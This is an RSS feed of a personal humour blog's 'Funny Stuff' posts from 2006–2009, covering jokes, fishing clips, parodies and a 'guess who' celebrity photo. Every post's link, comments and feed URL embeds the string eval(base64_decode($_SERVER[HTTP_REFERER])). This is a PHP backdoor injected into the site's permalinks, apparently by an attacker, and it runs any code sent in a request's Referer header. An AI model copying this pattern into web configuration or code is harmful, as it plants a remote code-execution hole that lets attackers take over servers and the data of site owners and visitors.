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	<title>the newts.net &#187; Funny Stuff</title>
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	<link>http://www.thenewts.net</link>
	<description>Scott Newton ~ Net Editor.</description>
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			<item>
		<title>Guess Who&#8230;</title>
		<link>http://www.thenewts.net/2009/01/07/guess-who-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2009/01/07/guess-who-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 07 Jan 2009 16:56:51 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[guess who]]></category>
		<category><![CDATA[Richard O'Sullivan]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=799</guid>
		<description><![CDATA[Recognise this old fella?

Man about the house or Robin&#8217;s nest give you a clue?
Still not sure who he is&#8230;


Believe it or not this is Richard O&#8217; Sullivan who 30 years ago was considered a sex symbol after he was cast as bachelor Robin Tripp, who shared a flat with two attractive women in Man About [...]]]></description>
		<wfw:commentRss>http://www.thenewts.net/2009/01/07/guess-who-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A refreshing change!</title>
		<link>http://www.thenewts.net/2008/12/30/that-makes-a-refreshing-change/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2008/12/30/that-makes-a-refreshing-change/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 30 Dec 2008 01:00:37 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[fishing]]></category>
		<category><![CDATA[cormorant]]></category>
		<category><![CDATA[pike]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=756</guid>
		<description><![CDATA[
In a break from the usual monster Pike horror stories you often hear of as a Pike angler, where huge Pike have been seen taking ducks and chicks off the surface of the water in one gulp &#8211; Here we have the tables turned as a cormorant gets one back for the birds and shovels [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Grandpa&#8217;s fish.</title>
		<link>http://www.thenewts.net/2008/07/06/grandpas-fish/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2008/07/06/grandpas-fish/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 06 Jul 2008 22:51:38 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[fishing]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=682</guid>
		<description><![CDATA[
Heaven only knows what he was dangling in the water to catch it!
]]></description>
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		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Birdarium?</title>
		<link>http://www.thenewts.net/2008/07/06/birdarium/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2008/07/06/birdarium/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 06 Jul 2008 22:24:54 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[aquarium]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=681</guid>
		<description><![CDATA[Or is it an Aquaricage!


]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Camel Toe vs Rhino Toe!</title>
		<link>http://www.thenewts.net/2008/07/06/camel-toe-vs-rhino-toe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2008/07/06/camel-toe-vs-rhino-toe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 06 Jul 2008 22:00:57 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[camel toe]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=679</guid>
		<description><![CDATA[This is a CAMEL TOE:



Not to be confused with a RHINO TOE:


]]></description>
		<wfw:commentRss>http://www.thenewts.net/2008/07/06/camel-toe-vs-rhino-toe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Sheila&#8217;s Wheels Parody.</title>
		<link>http://www.thenewts.net/2008/01/13/sheilas-wheels-parody/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2008/01/13/sheilas-wheels-parody/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 13 Jan 2008 21:20:34 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[parody]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2008/01/13/sheilas-wheels-parody/</guid>
		<description><![CDATA[You&#8217;re probably familiar with the tune from the Sheila&#8217;s Wheels car insurance advert, if not watch it on the vid below&#8230;

Now have a look at the new parody version by that funny as fcuk Medical Student duo the Amatuer Transplants&#8230;

And here&#8217;s the audio only version&#8230;
Sheila’s Wheels Parody
]]></description>
		<wfw:commentRss>http://www.thenewts.net/2008/01/13/sheilas-wheels-parody/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.thenewts.net/uploads/sheilas_wheels_parody.mp3" length="529815" type="audio/mpeg" />
		</item>
		<item>
		<title>Spot the Deliberate Mistake!</title>
		<link>http://www.thenewts.net/2007/07/26/spot-the-deliberate-mistake/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2007/07/26/spot-the-deliberate-mistake/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 26 Jul 2007 21:06:29 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Builders]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2007/07/26/spot-the-deliberate-mistake/</guid>
		<description><![CDATA[
Thanks to Bov for sending this one in.  There is a rumour going round that it was two lads from his construction company that were involved, but that is as yet unconfirmed!
]]></description>
		<wfw:commentRss>http://www.thenewts.net/2007/07/26/spot-the-deliberate-mistake/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>£500 for a rubber duck?!</title>
		<link>http://www.thenewts.net/2007/06/28/500-for-a-rubber-duck-youve-gotta-love-this-story/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2007/06/28/500-for-a-rubber-duck-youve-gotta-love-this-story/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 28 Jun 2007 20:30:54 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Plastic ducks]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2007/06/28/500-for-a-rubber-duck-youve-gotta-love-this-story/</guid>
		<description><![CDATA[Residents of the western UK and Irish coasts have been warned to expect an invasion by a vast flotilla of ghostly, immortal albino plastic ducks, according to reports.
The tale of the floating, whitened bird migration is a strange one, dating back many years. It seems that the plastic bathtime companions were originally made in China. [...]]]></description>
		<wfw:commentRss>http://www.thenewts.net/2007/06/28/500-for-a-rubber-duck-youve-gotta-love-this-story/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Kicking Monster Ass!</title>
		<link>http://www.thenewts.net/2007/04/12/kicking-monster-ass/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2007/04/12/kicking-monster-ass/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 12 Apr 2007 14:23:41 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[funny]]></category>
		<category><![CDATA[kid]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2007/04/12/kicking-monster-ass/</guid>
		<description><![CDATA[This darling little cutie is taking no enemies when the monsters come!

]]></description>
		<wfw:commentRss>http://www.thenewts.net/2007/04/12/kicking-monster-ass/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Qantas pilots vs Qantas mechanics.</title>
		<link>http://www.thenewts.net/2007/01/10/quantas-pilots-vs-quantas-mechanics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2007/01/10/quantas-pilots-vs-quantas-mechanics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 10 Jan 2007 23:03:01 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>
		<category><![CDATA[mechanics]]></category>
		<category><![CDATA[pilots]]></category>
		<category><![CDATA[quantas]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2007/01/10/quantas-pilots-vs-quantas-mechanics/</guid>
		<description><![CDATA[
I read these and absolutely laughed my tits off.  So bad I had tears running down my face.  I don&#8217;t know, you might not find them funny, but I pissed myself laughing&#8230;
After every flight, Qantas pilots fill out a form, called a &#8220;gripe sheet,&#8221; which tells mechanics about problems with the aircraft. The [...]]]></description>
		<wfw:commentRss>http://www.thenewts.net/2007/01/10/quantas-pilots-vs-quantas-mechanics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Pike Video.</title>
		<link>http://www.thenewts.net/2006/12/29/pike-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/12/29/pike-video/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 29 Dec 2006 14:10:20 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Videos]]></category>
		<category><![CDATA[fishing]]></category>
		<category><![CDATA[pike]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/12/29/pike-video/</guid>
		<description><![CDATA[After spending all day at Bardney Lock with just a couple of small Jack Pike to show for it, enjoyable though it was, I was in need of some further entertainment. Then I found it. Some fool holding a deadbait in his hand and waving it 3 inches off the nose of a hungry 8lb [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Purple Shirt now available on You Tube!</title>
		<link>http://www.thenewts.net/2006/10/17/purple-shirt-now-available-on-you-tube/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/10/17/purple-shirt-now-available-on-you-tube/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 17 Oct 2006 09:50:50 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Friends]]></category>
		<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Videos]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/10/17/purple-shirt-now-available-on-you-tube/</guid>
		<description><![CDATA[You may remember the newts&#8217;s wonderfully audacious riposte to Wez&#8217;s recent bout of piss taking out of us, The Boy In The Purple Shirt.  Well it&#8217;s now available for your enjoyment at You Tube as well.

]]></description>
		<wfw:commentRss>http://www.thenewts.net/2006/10/17/purple-shirt-now-available-on-you-tube/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Careful now!</title>
		<link>http://www.thenewts.net/2006/08/19/careful-now/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/08/19/careful-now/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 19 Aug 2006 22:14:26 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/08/19/careful-now/</guid>
		<description><![CDATA[
The perils of falling asleep while on guard duty at Buckingham Palace are about to become painfully clear!
]]></description>
		<wfw:commentRss>http://www.thenewts.net/2006/08/19/careful-now/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Constipated.</title>
		<link>http://www.thenewts.net/2006/07/22/constipated/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/07/22/constipated/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 22 Jul 2006 19:57:07 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/07/22/constipated/</guid>
		<description><![CDATA[A man was constipated, so he decided to go to the doctor. The doctor examined him and explained, &#8220;I&#8217;m going to give you some suppositories. I&#8217;ll insert one now, and then I&#8217;ll give you another one for later this evening.&#8221; Later that evening, the man asks has his wife to insert the suppository. She agrees [...]]]></description>
		<wfw:commentRss>http://www.thenewts.net/2006/07/22/constipated/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hurricane Katrina looter.</title>
		<link>http://www.thenewts.net/2006/05/09/hurricane-katrina-looter/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/05/09/hurricane-katrina-looter/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 09 May 2006 19:46:06 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/05/09/hurricane-katrina-looter/</guid>
		<description><![CDATA[
Made me snigger.
]]></description>
		<wfw:commentRss>http://www.thenewts.net/2006/05/09/hurricane-katrina-looter/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>6 Affairs.</title>
		<link>http://www.thenewts.net/2006/04/02/6-affairs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/04/02/6-affairs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 02 Apr 2006 20:01:04 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/04/02/6-affairs/</guid>
		<description><![CDATA[The 1st Affair: A married man was having an affair                 with his secretary.      One day they went to her place         and made love all afternoon.  [...]]]></description>
		<wfw:commentRss>http://www.thenewts.net/2006/04/02/6-affairs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mobile&#8217;s for Sale:</title>
		<link>http://www.thenewts.net/2006/04/01/mobiles-for-sale/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/04/01/mobiles-for-sale/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 01 Apr 2006 19:40:02 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/04/01/mobiles-for-sale/</guid>
		<description><![CDATA[Me mate Lee&#8217;s got a couple of mobile phones he&#8217;s trying to offload.
The first is an almost new Nokia with camera (a huge 4.1 mega pixels!) and the other is an earlier model Nokia with camera and vibrating alert.
Have a look at the pics and let me know if you&#8217;re interested. Also send to  [...]]]></description>
		<wfw:commentRss>http://www.thenewts.net/2006/04/01/mobiles-for-sale/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>A few Friday Funnies.</title>
		<link>http://www.thenewts.net/2006/03/03/a-couple-of-friday-funnies/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/03/03/a-couple-of-friday-funnies/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 03 Mar 2006 16:27:15 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/03/03/a-couple-of-friday-funnies/</guid>
		<description><![CDATA[The husband emerged from the bathroom naked and was climbing into bed when his wife complained, as usual, &#8220;I have a headache&#8221;.
&#8220;Perfect!&#8221; her husband replies, I was just in the bathroom powdering my cock with aspirin.  You can take it orally or as a suppository, it&#8217;s up to you!
***
A funeral service is being held [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tongue Twisters.</title>
		<link>http://www.thenewts.net/2006/02/05/tongue-twisters/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/02/05/tongue-twisters/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 05 Feb 2006 01:11:21 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/02/05/tongue-twisters/</guid>
		<description><![CDATA[A guy with a black eye boards his plane bound for Pittsburgh and sits down in his seat. He notices immediately that the guy next to him has a black eye, too. He says to him, &#8220;Hey, this is a coincidence. We both have black eyes; mind if I ask how you got yours?&#8221; The [...]]]></description>
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		<item>
		<title>What have. . .</title>
		<link>http://www.thenewts.net/2006/01/31/what-have/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2006/01/31/what-have/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 31 Jan 2006 01:39:04 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/archives/2006/01/31/what-have/</guid>
		<description><![CDATA[The films Titanic and The 6th Sense got in common?

ICY DEAD PEOPLE!
]]></description>
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